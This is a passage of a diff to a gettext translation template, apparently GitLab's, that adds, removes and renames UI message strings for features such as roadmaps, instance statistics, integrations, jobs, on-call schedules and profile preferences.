-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
